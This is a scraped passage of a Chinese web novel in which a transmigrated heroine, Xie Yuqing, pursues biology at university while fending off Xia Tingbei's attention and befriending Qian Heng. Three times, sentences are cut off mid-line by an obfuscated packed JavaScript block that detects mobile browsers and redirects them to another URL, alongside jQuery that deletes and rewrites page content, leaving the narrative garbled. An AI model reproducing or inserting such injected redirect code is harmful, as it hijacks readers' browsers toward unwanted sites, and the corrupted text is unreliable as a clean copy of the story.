回到宿舍,唐笑她们已经回来了。 “怎么样怎么样?”唐笑凑过来,“迎新会好玩吗?” “还好。”谢予青坐到床上,“大家都挺热情的。” “对了,”唐笑神秘兮兮地说,“我听李奕说,夏听北也加入你们生物社了?” 谢予青看了她一眼:“李奕怎么什么都跟你说?” 唐笑嘿嘿一笑:“因为我有魅力呗。” 郑圆圆在旁边插嘴:“所以是真的?他也加了?” “嗯,”谢予青点头,“加了。” “为什么呀?”张文慧好奇,“他一个金融系的,怎么对生物感兴趣?” “不知道。” “会不会是因为你?”郑圆圆眨眨眼。 “不是,”谢予青摇头,“他自己说了,不是为了我。” “他说你就信啊?” “为什么不信?” 郑圆圆撇嘴:“我怎么觉得他就是冲你去的呢?你看他最近,老是出现在你周围。” 唐笑也点头:“对,爬山那次,还有图书馆那次,还有这次社团……” 谢予青无奈:“人家就是对生物感兴趣不行吗?上次那个讲座他也去了。” “那倒是……”唐笑想了想,“可他一个金融系的,对生物这么感兴趣,有点奇怪吧?” “有什么奇怪的,人就不能有多样化的兴趣吗?” 三个室友对视一眼,总觉得哪里不对,但也没法反驳。 “行吧行吧,”唐笑摆摆手,“反正你们俩的事,你们自己处理。” “我们没什么事。” “行行行,没什么事。” 谢予青知道她们不信,但也懒得解释。 晚上躺在床上,她翻来覆去睡不着。 脑子里全是夏听北。 他到底想干嘛? 真的只是为了生物吗? 还是…… 她想起他刚才那个笑,还有那句“你怎么想的你自己心里清楚”。 烦死了。 她在心里默默呼唤:神仙姐姐?你在吗? 没人回应。 又喊了一遍。 还是没人。 谢予青放弃了。 隔了两天,班群里发了一个好消息。 辅导员:本周五下午,学院组织新生参观学校植物园,有兴趣的同学可以报名。集合地点:生科院楼下。 谢予青看到消息,直接从床上坐起来。 植物园! 学校居然有植物园! 她立刻报了名。 周五下午,阳光正好。 谢予青提前十分钟到了集合地点。已经有不少同学在了,叽叽喳喳地聊天。 带队的是《普通生物学》的张教授。 他看到谢予青,点了点头:“小谢也来了?” 谢予青有点受宠若惊:“张教授好。” “嗯,好好看,有什么问题随时问。” “好的好的!” 人齐了,大家跟着张教授往植物园走。 植物园在学校的东北角,占地不小,分了好几个区。有温室,有露天种植区,有水生植物区,还有一片小树林。 谢予青一进去,眼睛就不够用了。 “这是银杏,活化石。”张教授指着一棵大树说,“我们学校这棵有一百多年了。” 谢予青仰头看着那棵巨大的银杏,叶子已经开始变黄,阳光透过树叶洒下来,美得像画。 “这是水杉,也是珍稀物种。” “这是珙桐,又叫鸽子树,开花的时候像鸽子。” “这是红豆杉,可以提取抗癌药物。” 张教授一边走一边讲解,谢予青跟在后面,听得入迷。 看到不认识的植物,她就掏出手机拍照,然后记下名字。 走到温室区,里面的植物更稀奇了。 各种热带植物,奇形怪状的,有的叶子比人还大,有的花长得像石头。 “这是猪笼草,食虫植物。” “这是捕蝇草,也是食虫的。” 谢予青蹲在一株捕蝇草前面,看了好久。 小小的叶片,边缘有刺毛,中间是红色的。她用手指轻轻碰了一下,叶片立刻合起来。 “哇!”她忍不住叫出声。 旁边的人都笑她。 “谢予青,你至于吗?” “太可爱了!”谢予青一点都不觉得尴尬,“你们不觉得它很神奇吗?” “神奇是神奇,但也没你这么夸张……” 谢予青不管他们,继续蹲在那里看。 张教授走过来,站在她旁边。 “喜欢?” “喜欢!”谢予青点头,“太喜欢了。” 张教授笑了笑:“我们学校生物系有个传统,每年都会组织学生去野外考察。你要是真喜欢,以后可以参加。” “真的吗?”谢予青眼睛亮了。 “真的,不过要学好专业课,成绩好的才能去。” 谢予青用力点头:“我一定好好学!” 张教授看着她,眼里有点欣慰。 走完整个植物园,已经两个小时过去了。 谢予青一点都不累,反而觉得浑身都是劲儿。 回去的路上,她翻着手机里的照片,一张一张看。 真好。 太好了。 这就是她想要的生活。 回到宿舍,唐笑她们正聚在一起看剧。 “回来了?好玩吗?” “好玩!”谢予青坐到床上,“你们真应该去看看,好多有意思的植物。” “行行行,下次陪你去。”唐笑敷衍地说,眼睛还盯着屏幕。 谢予青知道她们不感兴趣,也不强求。 她掏出手机,把今天拍的照片整理了一下,挑了几张发朋友圈。 配文:植物园半日游,开心! 发完,她靠在床头,嘴角还带着笑。 没一会儿,朋友圈出现小红圈。 有人点赞,有人评论。 她点开一看。 夏听北:挺好。 什么叫挺好? 她想了想,回复了一个“嗯”。 然后放下手机,继续看照片。 但不知道为什么,心里有点怪怪的。 十一月的风开始凉了。 校园里的梧桐叶黄了大半,落在地上厚厚一层,踩上去沙沙响。谢予青每天早上从宿舍到教学楼,都要踩着这一地的金黄走过去,心情好得不得了。 这一个月,她过得充实极了。 每天上课、泡图书馆、去实验室帮忙,周末有时候去植物园,有时候在宿舍看书。唐笑都说她“比高三还拼”。 但谢予青甘之如饴。 这天下午没课,她又跑到生物实验楼。 这地方现在成了她的第二个宿舍。 一楼有个公共实验室,很多本科生在那里做实验。她经常去帮忙洗烧杯、整理器材,混了个脸熟。 实验室的门虚掩着,谢予青推门进去。 里面有两个人在,一个是研二的学姐,一个是研一的学长。看到她进来,学姐招招手:“予青来了?正好,这批烧杯要洗。” 谢予青笑着走过去,系上围裙,开始干活。 洗烧杯这事,听起来无聊,但她挺喜欢的。一边洗一边想事情,或者听学长学姐聊天,能学到不少东西。 正洗着,门又被敲响了。 “请进。” 门推开,进来一个男生。 谢予青抬头看了一眼——不认识。个子挺高,戴着眼镜,看起来像是研究生。 “请问谢予青在吗?” 谢予青愣了一下:“我是。” 男生看向她,笑了笑:“你好,我叫赵晨,研一的,张教授让我来找你。” 张教授? 谢予青擦擦手,走过去:“有什么事吗?” “是这样,”赵晨说,“我们课题组有个小课题,关于某种植物次生代谢产物的研究。张教授推荐你参加,说你对这方面感兴趣,也很用功。想问问你有没有意愿?” 谢予青愣住了。 “真的吗?”她声音都提高了,“我愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513713|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !非常愿意!” 赵晨被她这反应逗笑了:“那就好。我们周三下午有个组会,你来参加吧,认识一下大家。” “好的好的!谢谢学长!” 赵晨走后,谢予青站在原地,傻笑了好一会儿。 学姐在旁边打趣:“高兴傻了?” 谢予青用力点头:“高兴傻了!” 周三下午,谢予青提前十分钟到了指定的教室。 门开着,里面已经有五六个人了。有男有女,都围坐在一起聊天。 谢予青站在门口,深吸一口气,敲了敲门。 “请进!” 她推门进去,努力让自己看起来镇定一点。 “大家好,我是谢予青,大一的。” 几个人都看向她,脸上带着友善的笑容。 “来来来,坐!”一个圆脸学姐招呼她,“早就听张教授提起你了,说有个大一的小姑娘特别用功。” 谢予青有点不好意思,找了个位置坐下。 人齐了,赵晨开始主持会议。 他先介绍了课题的情况。研究一种本地植物的次生代谢产物,分析它的成分和可能的药用价值。项目刚刚启动,需要大家分工合作。 “这是个大工程,”赵晨说,“可能需要一年的时间。大家有什么想法,随时提。” 谢予青听着,心跳得很快。 这是她做梦都想参与的事情。 讨论的时候,大家你一言我一语,气氛很热烈。 谢予青刚开始还不太敢说话,听着听着,忍不住插了一句。 “那个……我看过一些文献,关于次生代谢产物的提取,好像用超声辅助提取法效率更高?” 几个人都看向她。 谢予青有点紧张,但还是继续说:“就是……我之前看一篇综述,对比了好几种提取方法,超声辅助提取对温度敏感的成分更友好,得率也高一些。” 赵晨眼睛亮了:“你还看文献?” 谢予青点点头:“嗯,平时会看一些。” “哪篇文献?还记得名字吗?” 谢予青想了想,报出了一个英文标题。 赵晨当场掏出手机查了一下,看完抬起头,看她的眼神都变了。 “这你都看过?” “刚好刷到……” 旁边一个戴眼镜的学长笑了:“小学妹厉害啊,大一就刷文献了。” 谢予青被夸得有点不好意思。 但她心里清楚,这不是她厉害,是她当社畜练出来的本事。 查资料、看文献、提炼重点,这些都是职场基本功。她只是把以前的经验用到了这里。 组会开完,大家又聊了一会儿。 谢予青发现,这些学长学姐都挺可爱的,没什么架子,说话也实在。她跟他们聊得挺开心,完全不像刚认识的样子。 “对了,”圆脸学姐叫秦悦,是研二的,“晚上我们几个聚餐,就当欢迎新成员,你来吗?” 谢予青点头:“来!” 晚上七点,学校后门的一条小巷子里。 这里全是各种小馆子,到了晚上特别热闹。学生们三三两两地坐着,吃烧烤、喝啤酒、聊天。 秦悦带他们去了一家常去的烤肉店。 店面收拾的很漂亮,炭火烤的肉滋滋冒油,香气飘得到处都是。 几个人围着桌子坐下,点了一堆肉和蔬菜,还有几瓶啤酒。 “来来来,欢迎小学妹!”秦悦举起杯子,“干杯!” 谢予青也举起杯子,喝了一口。 啤酒有点苦,但她挺喜欢的。 她酒量还行,之前应酬的时候能喝几杯。现在没有应酬,纯粹是开心地喝,感觉完全不一样。 烤肉上来了,大家边吃边聊。 “予青,你之前说的那篇文献,在哪看的?”戴眼镜的学长叫李诚,研一的,话挺多。 “就……网上搜的。” “英语原文看得懂吗?” “还行,慢慢看。” “厉害,”李诚竖起大拇指,“我大一的时候,看英语文献还靠翻译软件。” 谢予青笑笑,没解释。 10. 第 10 章 她之前在公司天天看英文资料,早练出来了。 几个人聊得热火朝天,从课题聊到考研,从考研聊到以后工作。 谢予青听着,时不时也发表几句自己的看法。 她发现自己的“社会经验”在这里还挺管用的。学长学姐们聊到一些关于未来规划的话题,她总能给出一些不一样的视角。 “你觉得考研好还是工作好?”秦悦问她。 谢予青想了想:“看个人。如果想做科研,肯定要读研,如果想早点接触社会,工作也不错,但不管选哪个,都要想清楚自己要什么。” 秦悦点点头:“说得对。” 李诚也说:“小学妹说话挺成熟的,不像大一的。” 谢予青心里说:我本来就不是大一的。 但她嘴上只说:“可能因为我想得比较多吧。” 几杯酒下肚,谢予青的脸开始有点红了。 她酒量还行,但喝快了也会上脸。 秦悦看她脸红红的,笑着说:“小学妹酒量不错嘛,脸红了但人还清醒。” 谢予青摸摸脸,确实有点烫。 正说着,店门被推开了。 进来一群人。 打头的那个,高高瘦瘦,面无表情。 又是阴魂不散的夏听北。 后面跟着李奕,还有几个金融系的男生,都有点脸熟。 谢予青愣了一下。 这么巧? 李奕已经看到她们了,眼睛一亮,快步走过来。 “哎!唐笑她们没来?” 谢予青摇头:“没,就我们课题组的。” 李奕点点头,又看了看她,笑着说:“你们也来吃烤肉啊?” “嗯。” 李奕还想说什么,身后传来一个淡淡的声音。 “走了。” 是夏听北。 他看了谢予青一眼,然后直接走到旁边那桌坐下。 就坐在她们隔壁。 两个桌子挨得很近,中间只隔了一条窄窄的过道。谢予青和夏听北的位置,几乎是背对背,稍微侧一下头就能看到对方。 李奕也过去坐下,其他人跟着落座。 谢予青收回视线,继续吃烤肉。 但不知道为什么,气氛有点变了。 她也没多想,继续跟学长学姐们聊天。 正说着,筷子一滑,掉在地上弹了一下,刚好落在过道。 她弯腰想去捡。 手刚伸出去,另一只手挡在她前面。 夏听北不知道什么时候侧过身来,弯腰把筷子捡起来,放到自己那边的桌上。 然后抬手叫服务员:“麻烦拿双新筷子。” 服务员应声去了。 谢予青看着他,有点愣。 “谢谢。”她说。 夏听北点点头:“嗯。” 很淡。 李奕在旁边笑:“你们俩怎么这么客气?” 夏听北看了他一眼,眼神有点冷。 李奕立刻闭嘴,不说话了。 谢予青接过服务员递来的新筷子,低头继续吃。 但她心里有点乱。 他为什么要帮她捡筷子? 明明他们俩现在的关系…… 算了,不想了。 谢予青摇摇头,继续跟秦悦聊天。 但聊着聊着,她发现自己有点心不在焉。 眼神总是不自觉地往旁边飘。 夏听北坐在那里,正在跟李奕说话。他侧脸的线条很好看,说话的时候表情淡淡的,偶尔嘴角动一下。 好像感觉到她的视线,他转过头来。 两个人的目光在空中对上了。 谢予青心里一慌,赶紧移开眼,端起杯子喝了一大口酒。 她听到身后传来一声很轻的笑,不知道是不是错觉。 过了一会儿,她又忍不住看了一眼。 这次夏听北也正好在看她。 两个人的视线又对上了,谢予青没有立刻移开,就那么看了两秒。 然后她低下头,继续吃烤肉,心跳有点快。 怎么回事? 谢予青,你二十八了,怎么跟个十八岁小姑娘似的?喝点酒就这样? 她在心里骂自己没出息。 秦悦在旁边说:“予青,你脸更红了,少喝点。” 谢予青点点头:“嗯,好。” 她又喝了一口。 又过了一会儿,她站起来想去洗手间。 站起来的时候,头有点晕,身子晃了一下。 “小心!”旁边的李诚扶住她,“喝多了?” 谢予青站稳,摆摆手:“没事没事,就是有点晕。” 李诚看着她,有点担心:“我送你回宿舍吧?” 谢予青正要说话,旁边突然站起来一个人。 “我送她。” 李诚愣了一下,看看夏听北,又看看谢予青:“你们认识?” “嗯。”夏听北点头,“她是我……” 谢予青赶紧开口打断他,“认识!” 夏听北看了她一眼,没再说话。 李诚好像明白了什么,笑着松手:“行,那你们认识就好,让他送吧。” 夏听北走到谢予青旁边,扶住她的胳膊。 “走吧。” 谢予青想甩开,但他抓得很紧。 她只好跟学长学姐们打了个招呼,跟着他往外走。 走出烤肉店,夜风一吹,凉飕飕的,谢予青打了个哆嗦,脑子清醒了一点。 夏听北还扶着她的胳膊,没松手。 “我自己能走。”谢予青说。 夏听北没理她,继续扶着。 两个人沿着小巷往学校走。 路灯昏黄,把两个人的影子拉得很长。 谢予青不知道说什么,干脆不说话,夏听北也不说话,就这么沉默地走。 走了一段。 “你加入课题组了?”夏听北问。 “嗯。” “挺好的。” 谢予青看了他一眼:“你什么时候对生物这么感兴趣了?” 夏听北没回答。 过了一会儿,他说:“你喝酒上脸,以后少喝点。” 谢予青愣了一下:“知道了。” 夏听北没说话。 走到校门口,路灯亮了一些。 谢予青想甩开他的手:“到了,我自己进去。” 夏听北还是没松手。 “送你到宿舍楼下。” “不用……” “用。” 谢予青被他噎住了。 这人怎么这样? 她懒得跟他争,就让他扶着。 一路上偶尔有学生经过,看到他们,会多看两眼。 谢予青有点不自在。 但她喝了酒,脑子转得慢,懒得想那么多。 走到宿舍楼下,夏听北终于松手了。 谢予青站稳,看着他:“谢谢。” 夏听北点点头。 谢予青转身要走。 “谢予青。” 她回头。 夏听北站在路灯下,脸上被灯光照得忽明忽暗。 “你那天说……我喜欢苏昭昭。” 谢予青看着他,没说话。 “我没有。”他说。 然后他转身,走了。 谢予青站在原地,看着他的背影消失在夜色里。 脑子里嗡嗡的。 他说他没有喜欢苏昭昭?那原著是怎么回事? 她站在楼下,愣了很久。 直到宿管阿姨出来问“同学你没事吧”,她才回过神来,赶紧上楼。 回到宿舍,唐笑她们已经躺下了。 “回来了?”唐笑探出头,“脸怎么这么红?喝酒了?” “嗯,喝了一点。” “课题组聚餐?” “对。” 谢予青洗漱完,躺到床上。 夏听北没有喜欢苏昭昭。 什么意思? 真的没有吗? 那原著…… 她突然想起,原著她也没看完。就看到女二黑化陷害女主,后来怎么样了,她不知道。 万一原著本来就是她理解错了呢? 万一夏听北本来就不喜欢苏昭昭呢? 那她这一个月的躲躲闪闪,岂不是…… 不对不对。 就算他不喜欢苏昭昭,也不可能喜欢她,谁家男主不喜欢女主喜欢女配? 谢予青摇摇头。 就算他不喜欢苏昭昭,也不代表什么。 她不想谈恋爱,她只想学习。 对,学习最重要。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513714|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 星期天早上,谢予青醒得很早。 窗外阳光正好,透过窗帘的缝隙洒进来。她躺在床上伸了个懒腰,心情好得不得了。 今天生物社第一次活动,去郊外采集标本,顺便烧烤。 她之前一直梦想着这种日子:背着包,拿着小铲子,在山里找各种植物,然后把它们做成标本。现在终于要实现了。 谢予青爬起来,开始收拾。 今天天气不错,但山里应该会凉一点。 她翻出一件宽松的米色毛衣,配牛仔裤,穿上帆布鞋。对着镜子照了照,马尾辫扎得高高的,脸上干干净净,看起来就是那种青春洋溢的大学生。 “哟,今天这么好看?”唐笑在床上探出头,“约会去啊?” “什么约会,社团活动。” “社团活动打扮这么好看干嘛?” 谢予青白她一眼:“我平时不好看吗?” “好看好看,”唐笑笑嘻嘻的,“去吧去吧,玩得开心。” 谢予青背上双肩包,出门了。 集合地点在学校南门。她到的时候,已经来了不少人。 林楠正在清点人数,看到她招手:“予青来了!正好,还差几个。” 谢予青走过去,站在人群边上。 远远的,她看到夏听北走了过来。 谢予青愣了一下。 她还没想好要不要打招呼,夏听北已经走到她旁边,直接站定了。 谢予青看了他一眼,他没看她,只是看着前面。 她也不知道该说什么,干脆也不说。 旁边有几个学姐在偷偷看他们,小声议论。 “那就是夏听北吧?” “对,金融系的,好帅啊。” “他跟那个女生认识吗?怎么站一起?” “不知道,可能认识吧。” 谢予青假装没听见。 又过了一会儿,人群里突然有人喊:“乾珩!这边!” 谢予青顺着声音看过去。 乾珩穿着一件浅灰色的卫衣,戴着那副金丝眼镜,正朝这边走过来。旁边还跟着一个男生,应该是他室友。 乾珩走到人群边上,目光扫过来,看到谢予青的时候,眼睛亮了一下。 他笑着朝她走过来。 “谢予青?” 谢予青有点吃惊他为什么会知道自己名字,不过也没有多想,笑着打招呼:“乾珩学长,你怎么也来了?” “我室友是生物社的,”乾珩指了指旁边的男生,“他拉我来玩,说今天有烧烤,我就厚着脸皮来蹭饭了。” 谢予青被逗笑了。 她看到乾珩,心里其实挺亲切的。 原著里把他写成温柔深情的男二号,虽然最后没跟女主在一起,但人品是没问题的,而且在这个世界里,他跟她也没什么冲突。 交个朋友挺好。 “那你今天可要好好表现,”谢予青笑着说,“蹭饭得干活。” “没问题,”乾珩点头,“我力气大,可以搬东西。” 两个人聊得很开心。 旁边,夏听北的脸色不怎么好看。 他站在原地看着他们有说有笑,眉头微微皱着。 但他没说话。 人齐了,大家开始上车。 包的是那种小型面包车,一辆车能坐七八个人。林楠开始分配车辆。 “来来来,你们几个坐这辆……” 谢予青被分到一辆车上。她先上去,坐到了靠窗的位置。 刚坐下,她就想招呼乾珩过来坐。 结果还没开口,夏听北就坐到了她旁边。 他面无表情地坐下,把背包放在腿上。 谢予青到嘴边的话咽了回去。 乾珩随后上来,看到夏听北坐在谢予青旁边,愣了一下,然后笑了笑,坐到了谢予青后面一排。 谢予青转过头,跟他聊天。 “乾珩学长,你学什么专业的?” “建筑。” “哇,那是不是经常要画图?” “对,经常熬夜。”乾珩苦笑,“比你们生物的可能还惨。” 谢予青笑了:“我们也要熬夜做实验。” “那以后一起熬夜。” “行啊。” 两人一路说说笑笑。 夏听北脸臭的不得了。 11. 第 11 章 谢予青又问了乾珩一些学校的事,哪个食堂好吃,哪个图书馆安静,乾珩都一一回答,偶尔还会反问她的情况。 夏听北坐在旁边,一句话都没说。 他看着窗外,好像对这一切都不感兴趣。 但谢予青偶尔瞥他一眼,发现他的嘴角抿得很紧。 车开了大概一个小时,到了郊外。 这里是一片浅山,树木茂密,空气清新。路边还有小溪,水声潺潺。 “到了到了!”林楠招呼大家下车,“今天我们的任务是采集标本,分成两组,每组要找齐五种植物,一会儿回来评比,输的那组负责烤肉!” 大家欢呼一声,开始分组。 林楠拿着名单看了一圈,抬头说:“夏听北、谢予青、乾珩,你们三个一组,再加上秦悦和赵晨,正好五个人。” 谢予青愣了一下。 不过她也没说什么,反正就是采集标本,又不是谈恋爱。 秦悦和赵晨走了过来。秦悦就是上次课题组那个圆脸学姐,赵晨是研一的学长,上次来实验室找她的那个。 “走吧走吧,”秦悦笑着说,“咱们去找植物。” 五个人出发了。 秦悦拿着手机,上面是这次要找的植物照片。 “第一个,这个。”她把手机递给大家看,“一种蕨类,应该好找。” 谢予青仔细看了看照片,记住了特征。 几个人开始在山里找。 秦悦和赵晨走在前面,一边走一边聊课题的事。谢予青走在中间,认真地看着路边的植物。 夏听北走在她旁边,不远不近。 乾珩走在后面,时不时拍几张照片。 “找到了!”谢予青突然喊。 几个人围过来。 她蹲在一丛蕨类旁边,仔细比对,“就是这个,你们看,叶子的形状,还有背面的孢子囊。” 秦悦凑过来看了看,点头:“对,就是它,予青眼力真好。” 谢予青笑了笑,拿出小铲子,小心地挖了一株,放进标本袋里。 继续往前走。 第二个要找的是一种开小黄花的植物。几个人找了半天没找到。 “会不会这个季节已经没了?”赵晨说。 “有可能,”秦悦皱眉,“那换一个吧,先找其他的。” 几个人又往前走。 谢予青走得很认真,眼睛一直盯着路两边。看到不认识的植物就蹲下来看看,有时候还会掏出手机拍照。 乾珩不知道什么时候走到她旁边。 “你很喜欢植物?” “嗯,特别喜欢。”谢予青点头,“以前就喜欢,可惜没机会学。” “现在有机会了。” “对。”谢予青笑了,“所以我要把以前欠的都补回来。” 乾珩看着她,眼神有点温柔。 “你挺有意思的。” 谢予青愣了一下:“什么意思?” “就是……你跟我们这个年纪的人不太一样,”乾珩想了想,“怎么说呢,你好像特别知道自己要什么。” 谢予青笑了笑,没解释。 他们继续往前走,夏听北在后面不远不近地跟着。 乾珩回头看了一眼,压低声音问谢予青:“你们两个是不是吵架了?” 谢予青愣了一下:“谁?” “你男朋友啊。” “他不是我男朋友。” 乾珩眨眨眼:“可是上次打篮球的时候,他亲口跟我说的。” 谢予青深吸一口气。 “我跟他提分手了。”谢予青说。 乾珩愣了一下:“提分手?” “嗯。” “那他……” “他没同意。”谢予青无奈地叹了口气,“就一直这样。” 乾珩皱起眉头:“那怎么行?分手是两个人的事,怎么能单方面不同意?” 谢予青看着他,心里有点暖。 乾珩果然跟原著里写的一样,是个正直的人。 “没事,”她笑了笑,“我再跟他说。” 乾珩点点头:“你要是需要帮忙,可以找我。” “好,谢谢学长。” 两个人继续往前走。 过了一会儿,乾珩和谢予青分头去找不同的方向。 乾珩走了没多远,就碰到了夏听北。 夏听北正站在一棵树下,不知道在想什么。 乾珩犹豫了一下,还是走了过去。 “夏听北。” 夏听北转头看他,表情淡淡的。 乾珩斟酌了一下措辞,开口说:“刚才谢予青跟我说了,她跟你提了分手。” 夏听北的脸色变了一下。 “她说你没同意。”乾珩看着他,“我觉得吧,既然人家想分,你就应该尊重她的选择,你这样单方面不同意,拖着人家,不太好吧?” 夏听北的眼神冷了下来。 “关你什么事?” 乾珩被他这么一噎,有点尴尬,但还是继续说:“这不是关不关我的事,这是做人基本的道理,人家姑娘不愿意了,你还缠着人家,这……” “我说了,”夏听北打断他,“关你什么事?” 乾珩张了张嘴,不知道该说什么了。 夏听北转身就走。 走了几步,又停下来,回头说了一句:“她的事,不用你管。” 然后头也不回地走了。 乾珩站在原地,有点无奈地耸耸肩。 这人脾气还挺大。 另一边,谢予青又找到了两种植物。 “第三个,第四个!”她把标本袋举起来,高兴得像个孩子。 秦悦笑着夸她:“予青你太厉害了,今天全靠你。” 赵晨也说:“是啊,我跟秦悦光顾着聊天了,什么都没找到。” 谢予青有点不好意思:“我就是喜欢这个,所以看得仔细。” “挺好的,”秦悦拍拍她,“有兴趣才能做好。” 又找了一会儿,第五种也找到了。 “齐了!”秦悦看了看手机,“走吧,下山,他们应该也差不多了。” 几个人往回走。 下山比上山快,没多久就到了集合的地方。 另一组也刚回来,正在清点标本。 林楠看了看两组的成果,宣布:“第一组找到五种,第二组找到四种。第一组赢了!” 谢予青她们这组欢呼一声。 林楠笑着说:“好了,第二组负责烤肉,第一组负责吃!” 大家笑着往农家乐走。 农家乐在山脚下,是个挺大的院子。有烧烤的炉子,有桌子凳子,还能自己摘菜。 说是赢的人负责吃,其实到了地方,大家还是分工合作,有的生火,有的串肉,有的洗菜。 毕竟烤肉的过程也是很有意思的。 谢予青被分到串肉组,坐在小板凳上,拿着一根根竹签,把腌好的肉块串起来。 正串着,乾珩坐了过来。 “我来帮忙。”他笑着说。 谢予青点点头,给他递了一把竹签。 两个人一边串肉一边聊天。 “你们建筑系平时作业多吗?” “多,经常通宵。” “那你们身体受得了吗?” “受不了也得受啊,”乾珩苦笑,“学建筑的都这样。” 两个人聊得开心,笑声不断。 另一边,夏听北被分到生火组。 他蹲在炉子旁边,手里拿着打火机,面无表情地对着炭火。 火点了好几次,都没点着。 “你这不行,”旁边一个学长说,“得有技巧,来,我教你。” 夏听北点点头,但眼神一直往串肉那边飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513715|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢予青正跟乾珩有说有笑。 她笑得很开心,眼睛弯弯的。 夏听北抿了抿嘴,手上的动作更用力了。 好不容易生好火,开始烤肉了。 两张桌子拼在一起,大家围坐成一圈。烤好的肉放在中间,谁想吃谁拿。 谢予青坐在一边,乾珩坐在她左边。 夏听北过来的时候,看了看位置,然后坐到了谢予青右边。 谢予青左边是乾珩,右边是夏听北。 她两边都是人。 但她的注意力,明显在左边。 “乾珩学长,你尝尝这个,”她把一串刚烤好的羊肉递过去,“这个好吃。” 乾珩接过来,尝了一口:“嗯,确实不错。” “是吧?我烤的。” “厉害,全能选手。” 谢予青笑了。 她又拿起一串,准备自己吃。 刚咬了一口,右边传来一个声音。 “我的呢?” 谢予青扭头,夏听北正看着她。 “什么你的?” “烤肉。”夏听北指了指她手里的,“你都给他了,我的呢?” 谢予青愣了一下,然后指了指中间盘子:“那不是有吗?自己拿。” 夏听北看了一眼中间的盘子,没动。 “你烤的。” 谢予青被他气笑了:“我烤的怎么了?都在盘子里,谁都能拿。” “我就想吃你烤的。” “……” 谢予青无语了。 乾珩在旁边看着,忍不住笑了一声。 夏听北看了他一眼,眼神不太友好。 谢予青懒得跟夏听北计较,随手拿起一串塞给他:“给,吃吧。” 夏听北接过来,咬了一口。 “好吃。” 谢予青没理他,继续跟乾珩聊天。 “乾珩学长,你们以后毕业打算干嘛?” “可能去设计院吧,或者考个研。” “挺好的。” “你呢?” “我想考研,然后读博,以后做科研。”谢予青一边说着,其实心里还有点难过,她知道这些都实现不了的。 乾珩有些惊讶:“这么早就想好了?” “嗯,想好了。” 乾珩看着她,眼神里带着欣赏:“你真厉害,我大一的时候还什么都不知道呢。” 谢予青笑了笑。 夏听北在旁边听着,一句话都没说。 但他的手,一直拿着那串烤肉,吃得很慢。 过了一会儿,秦悦端着一盘烤好的鸡翅过来。 “来来来,新烤的!” 大家纷纷伸手。 谢予青也拿了一个,刚咬一口,突然想起什么,转头问乾珩:“你要吗?” 乾珩摇头:“我刚吃了好多,你吃吧。” 谢予青点点头,继续吃。 夏听北在旁边默默看着。 他突然伸手,从谢予青手里把那串鸡翅拿走了。 谢予青一愣:“你干嘛?” 夏听北咬了一口:“我饿了。” “那不是有吗!” “就想吃你这个。” 谢予青气得瞪他。 乾珩在旁边笑得不行。 “你们俩真有意思。”他说。 谢予青脸一红,懒得理夏听北,自己又拿了一串。 一顿饭吃了一个多小时。 吃完,大家收拾东西,准备返程。 谢予青站起来,伸了个懒腰。 今天玩得真开心,虽然夏听北有点烦人,但总体来说,是开心的一天。 回去的车上,她还想坐窗边,这次夏听北更快,直接坐到了她旁边。 谢予青看了他一眼,没说话。 乾珩笑着坐到了前面一排。 12. 第 12 章 车开了,夕阳透过车窗洒进来,谢予青靠在座位上,有点困。 迷迷糊糊中,感觉肩膀一沉。 她扭头一看,夏听北靠在她肩膀上,闭着眼睛,好像睡着了。 谢予青想推开他,但他的手,不知道什么时候,轻轻握住了她的手。 谢予青愣了一下。 她看着他的侧脸,长长的睫毛,安静的呼吸。 心跳漏了一拍。 车继续往前开,夕阳把一切都染成金色。 周三下午,谢予青从图书馆出来。 阳光很好,暖洋洋的照在身上。她伸了个懒腰,眼睛有点酸,看了三个小时的书,是该歇歇了。 正准备往食堂走,看到乾珩迎面走过来。 “谢予青。”他笑着打招呼。 谢予青也笑了:“乾珩学长,好巧。” “巧什么,”乾珩走过来,“我专门在这等你的。” 谢予青愣了一下:“等我?” “嗯。”乾珩点点头,“上次不是说以后有机会一起吃饭吗?今天正好有空,想问问你愿不愿意。” 谢予青想了想,反正也要吃饭,跟谁吃不是吃? 而且她对乾珩印象挺好。 “好啊。”谢予青点头,“吃什么?” “看你,我请客。” “那怎么好意思……” “有什么不好意思的,”乾珩笑了,“学长请学妹吃饭,天经地义。” 谢予青也不矫情:“行,那走吧。” 两个人并肩往校外走。 学校后门有条街,全是各种小馆子。乾珩问她想吃什么,她说随便,最后乾珩选了一家云南菜馆。 “这家我吃过,味道挺正的。”他推开门,让谢予青先进。 这会儿还早,没什么人,他们找了个靠窗的位置坐下。 服务员拿来菜单,乾珩递给谢予青:“你先点。” 